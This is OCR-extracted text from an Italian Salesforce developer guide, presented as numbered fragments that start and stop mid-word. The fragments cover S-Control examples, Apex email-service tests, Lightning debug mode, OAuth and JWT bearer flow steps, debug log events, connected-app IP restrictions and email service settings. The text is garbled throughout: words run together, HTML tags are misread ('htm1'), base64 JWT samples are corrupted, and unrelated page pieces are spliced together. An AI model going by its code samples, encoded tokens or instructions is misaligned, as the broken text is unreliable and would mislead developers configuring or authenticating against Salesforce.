436. ontrol esistenti restano invariati e potranno sempre essere modificati Utilizzare i seguenti esempi per iniziare a usare gli S Control S Control per le pagine dei dettagli Yahoo Map Utilizzare l API Yahoo MAP e i campi unione indirizzo di fatturazione per visualizzare la mappa per un account Utilizzare il seguente codice in un S Control HTML e aggiungerlo al proprio layout della pagina dei dettagli dell account lt htm1 gt lt head gt lt script type text javascript src http api maps yahoo com ajaxymap v 3 0 amp appid YahooDemo gt lt script gt lt style type text css gt mapContainer height 200px width 100 Lightning 129 ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ID P4 0 N Disponibile nelle versioni Salesforce Classic pulsanti e i link personalizzati sono disponibili in tutte le versioni Gli S Control sono disponibili nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition La possibilit di ignorare i pulsanti standard e le pagine iniziali delle schede disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Ottimizzazione di
437. op nv new Messaging InboundEnvelope Create a new test lead and insert it in the test method Lead 1 new lead firstName John lastName Smith Company Salesforce Email user acme com HasOptedOutOfEmail false insert l Create a new test contact and insert it in the test method Contact c new Contact firstName john lastName smith Email user acme com HasOptedOutOfEmail false insert c Test with the subject that matches the unsubscribe statement email subject test unsubscribe test env fromAddress user acme com Call the class and test it with the data in the testMethod unsubscribe unsubscribe0bj new unsubscribe unsubscribe0bj handleInboundEmail email env static testMethod void testUnsubscribe2 Create a new email and envelope object Messaging InboundEmail email new Messaging InboundEmail Messaging InboundEnvelop nv new Messaging InboundEnvelope Create a new test lead and insert it in the test method Lead 1 new lead firstName john lastName smith Company Salesforce Ottimizzazione di Salesforce con il codice Email user acme com HasOptedOutOfEmail false insert l Guida dell utente Componenti Apex Visualforce e Lightning 116 Create a new test contact and insert it in the test method Contact c new Contact firstName john lastName smith Emai
438. oper salesforce com docs atlas en us lightning meta lightning Debug del codice JavaScript Abilitare la modalit di debug per rendere pi facile l esecuzione del debug del codice JavaScript nei propri componenti Lightning Per impostazione predefinita il framework Componente Lightning viene eseguito in modalit PROD Questa modalit ottimizzata ai fini delle prestazioni Utilizza Google Closure Compiler per ottimizzare e ridurre al minimo le dimensioni del codice JavaScript Il nome e il codice del metodo sono fortemente nascosti Quando si abilita la modalit di debug il framework viene eseguito in modalit PRODDEBUG per impostazione predefinita Non utilizza Google Closure Compiler perci il codice JavaScript non viene ridotto e la lettura e il debug risultano pi semplici Per abilitare la modalit di debug 1 Dalmposta immettere Componenti Lightning nella casella Ricerca veloce quindi selezionare Componenti Lightning 2 Selezionare la casella di controllo Abilita modalit di debug 3 Fare clic su Salva VEDERE ANCHE Panoramica sul framework Componente Lightning Beta https developer salesforce com docs atlas en us lightning meta lightning Guida dell utente Componenti Apex Visualforce e Lightning 88 ID V4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile per l uso nelle versioni Contact Manager Edition Group Edition Professional Edition En
439. opportunit e Prodotto e Frase di ricerca e Versione SFGA e Soluzione e Operazione e Annuncio testuale e Oggetti personalizzati Opport Accoun Referen unityLineltem Referen Lead Evento Evento e Account Ottimizzazione di Salesforce con il codice IncludeOffline GoogleMaps GoogleNews GoogleSearch List LogCall MailMerge ManageMembers MassClose Merge Nuovo Guida dell utente Componenti Apex Visualforce e Includere un record account in Connect Offline Tracciare un indirizzo su Google Maps Visualizzare www google com news Visualizzare www google com Visualizzare un elenco dei record di un oggetto Registrare una chiamata Generare una stampa unione Aprire la pagina Gestisci membri Chiudere pi casi Unire i referenti Creare un nuovo record Lightning 45 e Lead Account e Account e Referente e Lead e Account e Referente e Lead e Account e Referente e Lead e Gruppo di annunci e Campagna e Caso e Referente e Contratto e Campagna Google e Parola chiave e Lead e Opportunit e Prodotto e Frase di ricerca e Versione SFGA e Soluzione e Annuncio testuale e Oggetti personalizzati Attivit Attivit Campagna Caso Referente e Attivit e Gruppo di annunci Ottimizzazione di Salesforce con il codice NewTask RequestUpdate SelfServSelect SendEmail SendGmail Sort Share Guida dell utent
440. ore composto dalle seguenti parti e erroriilcodice di errore e error descriptionila descrizione dell errore con ulteriori informazioni unsupported response type tipo di risposta non supportato invalid request HTTPS richiesto invalid request necessario utilizzare HTTP POST invalid assertion type il tipo di asserzione specificato non supportato invalid grant codice di autorizzazione non valido verificare che il client invii assertion e assertion type codificati nell URL invalid grant limitazione IP o orari di accesso non validi inactive user utente inattivo Ottimizzazione di Salesforce con il codice inactive org organizzazione bloccata chiusa o sospesa rate limit exceeded numero di accessi superato Guida dell utente Integrazione di app con Salesforce 230 e error uri linkalValidatore asserzione SAML che contiene ulteriori informazioni sull errore Questo viene restituito solo quando Salesforce in grado di analizzare l asserzione Di seguito riportato un esempio di errore error uri https nal salesforce com setup secur SAMLValidationPage apexp error invalid grant error description invalid assertion VEDERE ANCHE Autenticazione delle applicazioni con OAuth Valori del parametro di ambito Il parametro scope ambito consente di definire pi precisamente ci a cui l applicazione client pu accedere in un organizzazione Salesforce valori validi per s
441. ormato alg RS256 Codificare l Intestazione JWT con base64url come definito qui http tools ietf org html rfc4648 page 7 I risultato dovrebbe essere simile a questo eyJhbGciOiJSUZIINIJI Costruire una Serie di richieste JSON per il JWT con iss sub aud ed exp iss 3MVG990xTyEMC03gNp2Pj kqeZKxnmAiG1xV40Hh9AKL rSK BoSVPGZHO ukXnVj zRgSu0gGn75NL7yfk0cyy7 sub my email com Ottimizzazione di Salesforce con il codice aud https login salesforce com exp 1333685628 4 Codificare la Serie di richieste JWT mediante base64url senza interruzioni di riga Ad esempio Guida dell utente Integrazione di app con Salesforce 212 eyJpc3Mi0iAiM01WRzk5T3hUeUVNO1EzZ05wM1Bga3F1Wkt4bm1BaUcxeFYObOnhoOUFLTF9yU0su Om9TVIBHWkhRdWtYb1ZqgelJInUsvVReUduNzVOTDd5ZmtRY315NyIsICJwcm4i0iAibX1AZWIhaWwu Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMZMz Njg1NjI4In0 5 Creare una nuova stringa per l Intestazione JWT codificata e la Serie di richieste JWT codificata in questo formato encoded JWT Header encoded JWT Claims Set Nel seguente esempio evidenziata l Intestazione JWT codificata eyJhbGci0LJSUZIINIIT9 eyIpc3Mi0iAiM01WRZkK5T3hUeUVNO1EzZ05wM1Bga3F1Wkt4bmlBaUcxeFY0bOnoOUFLTF9yU0su Om9TVIBHWkhRdWtYb1ZqgelJnUsvVReUduNzVOTDd5ZmtRY315NyIsICJwcm4i0iAibX1AZWIhaWwu Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMZMzZ Njg1NjI4In0 6 Firmare la s
442. otivi di condivisione Apex e Apex autore Per visualizzare motivi di condivisione Apex e Visualizza impostazione e configurazione Ottimizzazione di Salesforce con il codice 2 Guida dell utente Componenti Apex Visualforce e Lightning 96 Immettere un etichetta per il motivo di condivisione Apex L etichetta viene riportata nella colonna Motivo quando si visualizza la condivisione relativa a un record nell interfaccia utente Inoltre l etichetta viene abilitata per la traduzione mediante l Area di lavoro traduzione Immettere un nome per il motivo di condivisione Apex Il nome viene utilizzato quando si fa riferimento al motivo nell API e in Apex Il nome pu contenere solo caratteri di sottolineatura e alfanumerici e deve essere univoco nell organizzazione Deve iniziare con una lettera non deve includere spazi terminare con un carattere di sottolineatura n contenere due caratteri di sottolineatura consecutivi 4 Fare clic su Salva VEDERE ANCHE Ricalcolo della condivisione gestita Apex Ricalcolo della condivisione gestita Apex O Importante durante la creazione di pacchetti di oggetti personalizzati ricordare che vengono inclusi anche i ricalcoli condivisione Apex che potrebbero impedire l installazione del pacchetto Gli sviluppatori possono creare delle classi batch Apex che ricalcolano la condivisione gestita Apex per un oggetto personalizzato specifico possibile associare queste classi a un
443. ottimizzata per elaborare serie di dati di grandi dimensioni possibile creare aggiornare o eliminare insiemi di record molto ampi Questa funzione consente di caricare aggiornare o eliminare agevolmente i dati da poche migliaia a milioni di record L elaborazione di grandi quantit di record richiede un certo tempo Questa pagina consente di monitorare l andamento dei processi in corso e i risultati dei processi recenti Per visualizzare i dettagli di un processo di caricamento dati in blocco 1 Dalmposta immettere Processi di caricamento dati in blocco nella casella Ricerca veloce quindi selezionare Processi di caricamento dati in blocco 2 Fareclicsullinkdiun ID processo La pagina dei dettagli del processo contiene i campi seguenti riportati in ordine alfabetico Campo Descrizione Tempo di Il numero di millisecondi necessari per l elaborazione dei trigger e di altri processi elaborazione correlati ai dati del processo la somma dei tempi equivalenti di tutti i batch del Apex processo Non include il tempo utilizzato per l elaborazione di operazioni asincrone ms e batch Apex In assenza di trigger il valore 0 Tempo di Il numero di millisecondi necessari per l elaborazione attiva del processo Include elaborazime iltempo registrato nel campo Tempo di elaborazione Apex ms attivo ma non include il tempo di attesa del processo nell area di attesa per l elaborazione API ms oiltempo necessario per la serializzazi
444. patore Deselezionare questa opzione per visualizzare tutti i checkpoint attualmente salvati per l organizzazione inclusi quelli generati di recente creati da altri utenti Ogni checkpoint dell elenco visualizza queste informazioni Colonna Descrizione Namespace Spazio dei Lo spazio dei nomi del pacchetto contenente il checkpoint nomi Class Classe La classe Apex contenente il checkpoint Line Riga Il numero di riga contrassegnata con il checkpoint Time Ora L ora alla quale stato raggiunto il checkpoint Fare clic con il pulsante destro del mouse sull intestazione di una colonna per ordinare le informazioni della colonna possibile anche selezionare le colonne da visualizzare nell elenco Checkpoints Checkpoint Per aprire un checkpoint farvi doppio clic sopra Il checkpoint si apre nel Checkpoint Inspector Controllo checkpoint Checkpoint Locations Posizioni checkpoint Questo elenco fornisce la posizione di ogni checkpoint nel codice sorgente Ogni voce dell elenco visualizza queste informazioni Colonna Descrizione File Il nome della classe Apex che contiene il checkpoint Line Riga Il numero di riga contrassegnata con il checkpoint Iteration Iterazione Se il checkpoint si trova in un loop questo valore indica l iterazione in corrispondenza della quale viene acquisito il checkpoint Per impostazione predefinita il valore dell iterazione 1 il che significa che il checkpoint viene salvato la prima
445. per accettare messaggi solo da determinati mittenti il servizio di email elabora unicamente i messaggi dei mittenti elencati nelle caselle ditesto Accetta messaggio email da sia sul servizio di email sia sull indirizzo di servizio di email 10 Selezionare la casella di controllo Attivo se si desidera che venga attivato il servizio di email quando si fa clic su Salva Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e 11 Lightning 11 Configurare le impostazioni di risposta per le operazioni non riuscite per determinare il modo in cui il servizio di email risponde quando un tentativo di accesso a questo servizio di email fallisce Azione per Limite di messaggi in entrata superato Determina come si comporta il servizio di email con i messaggi se il numero totale di messaggi elaborati da tutti i servizi di email ha raggiunto il limite giornaliero per la propria organizzazione Salesforce calcola questo limite moltiplicando il numero delle licenze utente per 1 000 fino a un limite giornaliero massimo di 1 000 000 Ad esempio se si dispone di 10 licenze l organizzazione potra elaborare un massimo di 10 000 messaggi email al giorno Azione per Indirizzo email disattivato Determina come si comporta il servizio di email con i messaggi ricevuti a un indirizzo email che inattivo Azione per Servizio di email disattivato Determina come si comporta il servizio di email con i messaggi che riceve quando il
446. perazione ad esempio Insert DB INFO e Update e cos via nome o tipo del record e numero superiori di righe passate nell operazione DML DML_END Numero di riga DB INFO e superiori EMAIL QUEUE Numero di riga Apex Code INFO e superiori ENTERING MANAGED PKG Spazio dei nomi del pacchetto Apex Code INFO e superiori EXCEPTION THROWN umero di riga tipo di eccezione e messaggio Apex Code INFO e superiori EXECUTION_FINISHED essuno Apex Code ERROR e superiori EXECUTION STARTED essuno Apex Code ERROR e superiori FATAL ERROR Tipo di eccezione messaggio e analisi dello stack Apex Code ERROR e superiori FLOW ACTIONCALL DETAIL ID intervista nome dell elemento tipo di azione Flusso di FINER e enumerazione o ID azione se la chiamata di azione lavoro superiori riuscita e messaggio di errore FLOW ASSIGNMENT DETAIL ID intervista riferimento operatore e valore Flusso di FINERe lavoro superiori Nome dell evento Ottimizzazione di Salesforce con il codice FLOW BULK ELEMENT BEGIN D intervista e tipo di elemento Flusso di FINE e avoro superiori FLOW BULK ELEMENT DETAIL D intervista tipo di elemento nome dell elemento Flusso di FIN
447. percentuale totale e Fare doppio clic su una serie di test completata per aprire una visualizzazione Tests Results Risultati dei test che mostra la classe esaminata il metodo di test la durata il risultato classe ignorata test superato o test non superato e un messaggio di errore facoltativo Se il test non stato superato la colonna Stack Trace Traccia dello stack indica il metodo e il numero di riga a cui il test si bloccato e Per visualizzare la copertura del codice di una classe Apex riga per riga aprire la classe Il menu Code Coverage Copertura codice include una o pi delle seguenti opzioni a seconda dei test implementati Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione di test nella Console sviluppatore 303 None Nessuno AI Tests Tutti i test La percentuale di copertura di codice ottenuta da tutte le serie di test className methodName La percentuale di copertura di codice ottenuta da un metodo eseguito durante una serie di test Le righe di codice con copertura dei test sono visualizzate in blu Le righe di codice senza copertura sono visualizzate in rosso Le righe di codice che non richiedono copertura ad esempio parentesi graffe commenti e chiamate System debug rimangono bianche Browsers 3 2012 08 02 12 48 36 jbleyle 180 de StripeErrorModel StripeCustomer Code Coverage All Tests 85 Go To Save a 32 EncodingUtil base64E
448. periori iori iori jori iori iori superiori FINER e superiori FINER e superiori FINEST FINEST Ottimizzazione di Salesforce con il codice Nome dell evento METHOD ENTRY METHOD EXIT T POP_TRACE FLAGS Guida dell utente Registri debug 287 Campi o informazioni registrate con l evento Categoria Livello Number Number Number Number Number Number Number Number Number Number describes Number Number Number Number of of of of of of of of of of of of of of registrata registrato query rows SOSL queries DML statements DML rows code statements Maximum heap size callouts Email Invocations fields describes record type describes child relationships picklist describes future calls find similar calls System run s invocations metodo metodo umero di ri umero di ri Per i costrut informazioni ga ID Force com della classe e firma del Apex Code FINE e superiori ga ID Force com della classe e firma del Apex Code FINE e superiori ori vengono registrate le seguenti Numero di riga e nome della classe umero di riga ID Force com della classe o del trigger System INFO e per cui sono stati impostati i livelli del registro e che superiori rientra nell ambito nome di questa classe o trigger e impostazioni
449. pex i Classic 5 Ad esempio per valutare il risultato di un processo complesso possibile aumentare la descrizione Lgnining Experience del registro per una data classe disattivando la registrazione relativa ad altre classi o trigger all interno Disponibile nelle versioni di un unica richiesta Enterprise Edition Quando si ignorano livelli del registro debug per una classe o un trigger tali livelli debug vengono Performance Edition Unlimited Edition Developer Edition e Database com Edition applicati anche ai metodi di classe chiamati dalla classe o dal trigger e ai trigger che vengono eseguiti di conseguenza Tutti i metodi di classe e i trigger nel percorso di esecuzione ereditano le impostazioni di registro debug del chiamante a meno che tali impostazioni non siano state ignorate Il seguente diagramma illustra come ignorare i livelli del registro debug a livello di classe e trigger In questo scenario si supponga che Class1 stia generando problemi che si desidera analizzare pi nel dettaglio A questo scopo i livelli del registro debug di CLass1 vengono aumentati alla granularit massima CLass3 non ignora questi livelli di registro pertanto eredita i filtri di registro granulari di CLass1 Tuttavia UtilityClass gi stata verificata ed stato stabilito che funziona correttamente pertanto i suoi filtri di registro sono disattivati Analogamente CLass2 non si trova nel percorso di codice che genera problemi pertanto le sue r
450. pi disponibili ai fini della generazione di rapporti Aggiungere i singoli rapporti alla categoria del tipo di rapporto Provisioning utente Assegnare a ogni rapporto un nome e una descrizione chiari per consentire agli utenti che genereranno i rapporti di capire quale tipo usare per le loro esigenze Oggetto principale Descrizione Account provisioning utente Contiene informazioni che collegano un account utente Salesforce a un account in un sistema di terzi destinazione come Google per gli utenti delle applicazioni connesse con provisioning utente Salesforce abilitato ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition e Developer Edition YANG O NPZZAVA O N UTENTE Per creare o aggiornare tipi di rapporto personalizzati e Gestisci tipi di rapporto personalizzato Per eliminare i tipi di rapporto personalizzato e Modifica tutti i dati Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 199 Oggetto principale Descrizione Registri provisioning utente Contiene i messaggi generati durante la procedura di provisioning degli utenti per applicazioni di terzi Target fittizi provisioning utente Contiene i dati utente da verificare prima di confermare i dati all interno di un sistema di parti terze per il provisioning utente Richieste provisioning utente
451. pio di Flusso Esempio di Visualforce Suggerimenti Page Descrizione Utilizzo Esempio di Visualforce Guida dell utente Componenti Apex Visualforce e Lightning 28 Nell esempio seguente viene recuperata l etichetta per il campo Nome dell account S ObjectType Account Fields Name Label Questa variabile globale disponibile nelle pagine Visualforce nei pulsanti e link personalizzati negli S Control e nelle regole di convalida Tipo di campo di unione globale da utilizzare quando si fa riferimento alle informazioni sul profilo della propria organizzazione Utilizzare questi campi di unione per fare riferimento all ID al numero di fax alla citt e ad altri dettagli della propria organizzazione 1 Selezionare il tipo di campo Organization 2 Selezionare un campo di unione come Organization Fax Utilizzare i campi di unione organizzazione per confrontare qualsiasi attributo dell organizzazione con quelli del proprio account Ad esempio possibile capire se l organizzazione stata impostata con lo stesso paese dei propri account La formula di convalida seguente fa riferimento al campo di unione paese dell organizzazione e richiede un codice paese per gli eventuali account esteri AND Organization Country lt gt BillingCountry ISBLANK Country Code _c Creare una formula del flusso Testo con l espressione Organization City Inun elemento Decisione verificare se la citt di un referente
452. place Sostituisci Utilizzare le seguenti scelte rapide da tastiera per cercare e sostituire testo all interno della visualizzazione corrente Funzione Scelta rapida Note Search Cerca CTRL F Apre un modulo di ricerca attivo Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 18 Funzione Scelta rapida Note Replace Sostituisci CTRL MAIUSC F Apre una finestra di dialogo che chiede il termine della ricerca e il termine con cui sostituirlo quindi consente di confermare o rifiutare ogni modifica Replace all Sostituisci tutto CTRL MAIUSC R Apre una finestra di dialogo che chiede il termine della ricerca e il termine con cui sostituirlo quindi consente di confermare o rifiutare la modifica complessiva Per eseguire la ricerca in file che non sono aperti nella visualizzazione corrente fare clic su File gt Search in Files Ricerca nei file oppure premere CTRL MAIUSC H Utilizzo del completamento del codice Il Source Code Editor Editor codice sorgente offre suggerimenti di completamento automatico durante la scrittura del codice Nelle pagine e nei componenti Visualforce il completamento automatico viene visualizzato automaticamente durante la digitazione Nelle classi e nei trigger Apex fare clic su CTRL BARRA SPAZIATRICE per visualizzare un elenco dei completamenti suggeriti completamenti vengono forniti per gli oggetti e i metodi di sistema Apex gli oggetti e i metodi
453. ponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition ANOLON TAAA ON UTENTE Per visualizzare creare modificare o eliminare notifiche e API abilitata Ottimizzazione di Salesforce con il codice Applicazioni di accesso remoto Panoramica sulle applicazioni di accesso remoto O Nota Le applicazioni di accesso remoto sono state sostituite dalle applicazioni connesse Utilizzare le applicazioni connesse per qualsiasi applicazione che deve integrarsi con Salesforce per verificare gli utenti e controllare i criteri di protezione per le applicazioni esterne Per tutte le applicazioni di accesso remoto esistenti stata eseguita automaticamente la migrazione ad applicazioni connesse con il rilascio Summer 13 VEDERE ANCHE Panoramica sulleapplicazioni connesse Applicazioni connesse Panoramica sulleapplicazioni connesse AUTORIZZAZIONI UTENTE Per leggere Personalizza applicazione Per creare aggiornare o eliminare Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni connesse Per aggiornare tutti i campi tranne Profili Personalizza applicazione Insiemi di autorizzazioni e Attributi SAML provider di servizi Personalizza applicazione E Modifica tutti i dati Per aggiornare Profili Insiemi di autorizzazioni e Attributi SAML provider di servizi Per disinstallare Scarica pacchetti AppExchange
454. portato di seguito contiene campi unione opportunit che si trovano sul lato principale di una relazione record principale record dettaglio con i prodotti opportunit lt htm1 gt lt head gt lt script type text javascript src soap ajax 13 0 connection js gt lt script gt lt head gt lt body gt lt b gt Opportunity Info lt b gt lt br gt Opportunity ID Opportunity Id lt br gt Opportunity Name Opportunity Name lt br gt Opportunity Record Type Opportunity RecordType lt br gt lt body gt lt html gt Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 131 Per implementare questa funzionalit creare un S Control HTML con il contenuto sopra inserendo il proprio codice nello spazio appositamente previsto Quindi ignorare l azione Aggiungi prodotto dall oggetto prodotti opportunit utilizzando l S Control Questo esempio presume che si disponga di tipi di record sulle opportunit O Nota Questo esempio non include il codice per aggiungere i prodotti Il contenuto nella sezione del corpo illustra semplicemente come utilizzare i campi unione opportunit dall elenco correlato prodotti opportunit Sostituire la sezione del corpo con il proprio codice Sostituzione condizionale per la modifica dei lead possibile ignorare sostituire un azione standard in modo condizionale reindirizzando a un azione standard o a un Custom S Cont
455. pplicazione connessa e bloccare tutte le nuove sessioni Il blocco di un applicazione non permanente Fare clic su Sblocca per consentire agli utenti di accedere e aprire l applicazione in un altro momento Ottimizzazione di Salesforce con il codice Gestione dell accesso OAuth per le applicazioni connesse Un applicazione connessa un applicazione che si integra con Salesforce utilizzando le API Le applicazioni connesse utilizzano i protocolli SAML e OAuth standard per l autenticazione forniscono il Single Sign On e i token da utilizzare con le API di Salesforce Oltre alle funzionalit OAuth standard le applicazioni connesse consentono agli amministratori di impostare vari criteri di protezione e avere il controllo diretto sugli utenti che possono utilizzare le applicazioni corrispondenti Tutte le applicazioni connesse sono state integrate in Salesforce in modo che possano accedere a un sottoinsieme dei dati Salesforce dell utente una volta esplicitamente concesse le autorizzazioni relative a ogni singola applicazione Tutte le applicazioni connesse che dispongono delle autorizzazioni per accedere ai dati Salesforce dell utente sono elencate nelle informazioni personali 1 Dalle impostazioni personali immettere Dettagli utente avanzati nella casella Ricerca veloce quindi selezionare Dettagli utente avanzati Se non si ottiene alcun risultato immettere Informazioni personali nella casella Ricerca veloce quindi selezionare Informa
456. pplicazione connessa non si eliminano i dettagli di configurazione dall organizzazione Per eliminare i dettagli di configurazione vedere le istruzioni per gli amministratori Salesforce relative a questo problema noto VEDERE ANCHE Creazione di un applicazione connessa Panoramica sulleapplicazioni connesse Provisioning utente per applicazioni connesse Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 179 Riduzione delle restrizioni IP dell applicazione connessa e imposizione IP continua Questo argomento descrive come l opzione Impostazioni di sessione Imponi intervalli IP di accesso su ogni richiesta in fluisce sulle impostazioni di riduzione delle restrizioni IP dell applicazione connessa abilitata per OAuth Se sono state ridotte le restrizioni IP dell applicazion e connessa abilitata per OAuth e nell organizzazione abilitata l opzione Imponi intervalli IP di accesso su ogni richiesta l accesso all applicazione connessa pu cambiare Queste modifiche dell accesso sono valide per gli accessi client inclusi quelli dai dispositivi mobili per tutte le applicazioni connesse abilitate per OAuth La riduzione delle restrizioni IP non valida per le applicazioni connesse abilitate per SAML Tabella 3 Impostazioni della riduzione delle restrizioni IP dell applicazione connessa e imposizione IP Riduzione Quando l imposizione IP restrizioni continua dis
457. pplicazioni mobili dopo aver installato l applicazione connessa La protezione con PIN supportata automaticamente dall SDK di Salesforce Mobile hnttps developer salesforce com page Mobile_SDK anche possibile implementarla manualmente leggendo l oggetto mobile policy dall URL identit dell utente Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 173 10 Specificare la Piattaforma app scegliendo iOS o Android dall elenco a discesa Specificare uno o pi fattori di forma supportati per l app mobile dall elenco a discesa Limita a Tipo di dispositivo valori possibili sono Telefono Tablet e Mini tablet Se l app universale cio se supporta tutti i fattori di forma non scegliere alcun valore Immettere il numero Versione app dell app mobile Immettere la Versione minima SO richiesta per l app Selezionare App privata per confermare che l app destinata solo alla distribuzione interna non pubblica Ci necessario poich Apple non consente la distribuzione delle app mobili pubbliche al di fuori del suo app store Se l app mobile privata specificare la posizione del File binario app mobile Sitratta di un file IPA per iOS e di un file APK per Android Solo per le app iOS a Specificare la posizione dell icona applicazione Si tratta dell icona visualizzata durante il download e l installazione dell app su un dispositivo iOS b Specificare l identificativo bundl
458. previsto Se la Console sviluppatore aperta i livelli di registrazione della Console sviluppatore avranno effetto su tutti i registri inclusi quelli creati nel corso di una distribuzione Tipi di eventi di debug Di seguito riportato un esempio delle informazioni che vengono inserite nel registro debug L evento USER DEBUG Il formato indicazione oraria identificatore evento e identificazione oraria composto dall orario in cui l evento si verificato e da un valore tra parentesi L orario specificato nel fuso orario dell utente nel formato HH mm ss SSS Il valore rappresenta il tempo in millisecondi trascorso dall inizio della richiesta Il valore del tempo trascorso escluso dai registri analizzati nella Console sviluppatore e identificatore evento l evento specifico che ha attivato la registrazione nel registro debug ad esempio SAVEPOINT_RESET o VALIDATION RULE e tutte le eventuali informazioni aggiuntive registrate con quell evento quali il nome del metodo o il numero di riga o di carattere in corrispondenza del quale stato eseguito il codice Di seguito riportato l esempio di una riga di registro debug Esempio di riga del registro debug Time Stamp Event Identifier 14 49 59 037 37045000 USER DEBUGI 2 DEBUG Hello World In questo esempio l identificatore evento composto dai seguenti elementi e Nome dell evento USER DEBUG e Numero di riga de
459. profili Guida dell utente Componenti Apex Visualforce e Lightning 94 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition ANOLON TAAA ON UTENTE Per impostare la protezione per le classi Apex e Apex autore E Personalizza applicazione ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition Enterprise Edition e Database com Edition YANG O NPZZAVA O N UTENTE Per modificare le impostazioni di accesso classe Apex e Gestisci profili e insiemi di autorizzazioni Ottimizzazione di Salesforce con il codice Impostazione dell accesso classe Apex dai profili Specificare quali metodi in una classe Apex di massimo livello sono eseguibili per un profilo Queste impostazioni sono valide solo per i metodi delle classi Apex Ad esempio applicare le impostazioni ai metodi dei servizi Web o a qualsiasi altro metodo utilizzato in un controller Visualforce personalizzato o in un estensione del controller applicata a una pagina Visualforce trigger vengono sempre attivati in caso di eventi trigger quali insert o update indipendentemente dalle impostazioni del profilo 1 Da Imposta immettere Profili nella casella Ricerca veloce quindi
460. protezione a livello di classe Apex e Fare clic su Mostra dipendenze per visualizzare gli elementi quali campi oggetti o altre classi la cui esistenza consente la validit di questa classe La scheda Riepilogo classe visualizza il prototipo della classe ovvero le classi i metodi e le variabili che sono disponibili per altro Apex code La scheda Riepilogo classe elenca il livello di accesso e la firma per ogni metodo e variabile in una classe Apex nonch le eventuali classi interne Se non disponibile un prototipo questa scheda non disponibile O Nota e Perle classi Apex non incluse nei pacchetti gestiti vengono visualizzati solo i metodi le classi e le variabili definiti come global 0 public e Nel caso delle classi Apex incluse nei pacchetti gestiti la scheda Riepilogo classe elenca anche la versione del pacchetto in cui una propriet o un metodo specifici sono stati introdotti possibile selezionare un numero di versione dall elenco a discesa per vedere il prototipo relativo alla versione del pacchetto selezionato Il valore predefinito quello della versione corrente installata Uno sviluppatore di pacchetti pu dichiarare obsoleto un metodo Apex e caricare una nuova versione del pacchetto esponendo in questo modo una classe Apex con un prototipo diverso Solo le classi i metodi e le variabili definiti come global sono visualizzati nei prototipi per le classi dei pacchetti gestiti Se una classe Apex fa riferimento a
461. r OAuth e non con quelle abilitate per SAML Un amministratore pu scegliere di implementare o ignorare queste limitazioni selezionando una delle opzioni seguenti Imponi restrizioni IP impostazione predefinita L utente che esegue questa applicazione soggetto alle limitazioni IP dell organizzazione ad esempio agli intervalli IP impostati nel profilo utente Riduci restrizioni IP con il secondo fattore Un utente che esegue questa applicazione ignora le restrizioni IP dell organizzazione se una delle seguenti condizioni vera L applicazione dispone di intervalli IP inseriti in una whitelist e utilizza il flusso di autenticazione OAuth del server Web Sono consentite solo le richieste provenienti dagli IP inseriti nella whitelist L applicazione non ha alcuna whitelist di intervalli IP utilizza il flusso di autenticazione OAuth del server Web o utente agente e l utente ha completato correttamente la procedura di Conferma identit Riduci restrizioni IP L utente che esegue questa applicazione connessa non soggetto ad alcuna restrizione IP 7 Nota se abilitata l opzione Impostazioni di sessione Imponi intervalli IP di accesso su ogni richiesta influisce sul comportamento di riduzione delle restrizioni IP Per ulteriori informazioni vedere Riduzione delle restrizioni IP dell applicazione connessa e imposizione IP continua a pagina 179 Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app co
462. r allegato messaggi con allegati non binari vengono comunque accettati ma gli allegati saranno scartati Tutto Il servizio di email accetta qualsiasi tipo di allegato Nota Un servizio di email pu elaborare gli allegati solo se viene configurato per accettare gli allegati e se si utilizza una classe Apex che elabori i tipi di allegati accettati dal servizio di email Tenere presente anche che i servizi di email non possono accettare allegati in linea quali immagini inserite nei messaggi email 6 Selo si desidera selezionare la casella di controllo Impostazioni di sicurezza email avanzate per configurare il servizio di email in modo che verifichi prima di elaborare un messaggio la legittimit del server di invio Il servizio di email utilizza i seguenti protocolli di autenticazione per verificare la legittimit del mittente e SPF e Senderld e DomainKeys Se il server mittente passa almeno uno di questi protocolli e non ne fallisce neanche uno il servizio di email accetta il messaggio Se il server non ha esito positivo con un protocollo oppure non supporta alcun protocollo il servizio di email esegue l azione specificata nell impostazione di risposta diAzione per Mittente non autenticato Q Suggerimento Prima di selezionare la casella di controllo Autentica mittenti assicurarsi che i mittenti che si prevede utilizzeranno il servizio di email supportino almeno uno dei protocolli di autenticazione elencati sopra Per informazion
